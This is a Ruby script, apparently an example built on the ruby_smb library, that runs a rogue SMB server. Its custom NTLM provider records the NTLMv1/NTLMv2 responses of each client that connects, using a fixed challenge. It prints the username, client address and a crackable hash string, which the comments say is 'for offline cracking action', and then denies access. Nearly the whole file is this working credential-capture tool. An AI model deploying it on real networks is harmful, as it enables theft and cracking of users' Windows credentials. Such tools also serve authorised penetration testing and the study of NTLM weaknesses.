#!/usr/bin/ruby require 'bundler/setup' require 'optparse' require 'ruby_smb' require 'ruby_smb/gss/provider/ntlm' # we just need *a* default encoding to handle the strings from the NTLM messages Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil? options = { smbv1: true, smbv2: true, smbv3: true } OptionParser.new do |opts| opts.banner = "Usage: #{File.basename(__FILE__)} [options]" opts.on("--[no-]smbv1", "Enable or disable SMBv1 (default: #{options[:smbv1] ? 'Enabled' : 'Disabled'})") do |smbv1| options[:smbv1] = smbv1 end opts.on("--[no-]smbv2", "Enable or disable SMBv2 (default: #{options[:smbv2] ? 'Enabled' : 'Disabled'})") do |smbv2| options[:smbv2] = smbv2 end opts.on("--[no-]smbv3", "Enable or disable SMBv3 (default: #{options[:smbv3] ? 'Enabled' : 'Disabled'})") do |smbv3| options[:smbv3] = smbv3 end end.parse! def bin_to_hex(s) s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join end # this is a custom NTLM provider that will log the challenge and responses for offline cracking action! class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator # override the NTLM type 3 process method to extract all of the valuable information def process_ntlm_type3(type3_msg) username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}" _, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername) hash_type = nil hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}" case type3_msg.ntlm_version when :ntlmv1 hash_type = 'NTLMv1-SSP' hash << ":#{bin_to_hex(type3_msg.lm_response)}" hash << ":#{bin_to_hex(type3_msg.ntlm_response)}" hash << ":#{bin_to_hex(@server_challenge)}" when :ntlmv2 hash_type = 'NTLMv2-SSP' hash << ":#{bin_to_hex(@server_challenge)}" # NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields end unless hash_type.nil? version = @server_client.metadialect.version_name puts "[#{version}] #{hash_type} Client : #{client}" puts "[#{version}] #{hash_type} Username : #{username}" puts "[#{version}] #{hash_type} Hash : #{hash}" end WindowsError::NTStatus::STATUS_ACCESS_DENIED end end def new_authenticator(server_client) # build and return an instance that can process and track stateful information for a particular connection but # that's backed by this particular provider Authenticator.new(self, server_client) end # we're overriding the default challenge generation routine here as opposed to leaving it random (the default) def generate_server_challenge(&block) "\x11\x22\x33\x44\x55\x66\x77\x88" end end # define a new server with the custom authentication provider server = RubySMB::Server.new( gss_provider: HaxorNTLMProvider.new ) server.dialects.select! { |dialect| RubySMB::Dialect[dialect].family != RubySMB::Dialect::FAMILY_SMB1 } unless options[:smbv1] server.dialects.select! { |dialect| RubySMB::Dialect[dialect].family != RubySMB::Dialect::FAMILY_SMB2 } unless options[:smbv2] server.dialects.select! { |dialect| RubySMB::Dialect[dialect].family != RubySMB::Dialect::FAMILY_SMB3 } unless options[:smbv3] if server.dialects.empty? puts "at least one version must be enabled" exit false end puts "server is running" server.run do puts "received connection" # accept all of the connections and run forever true end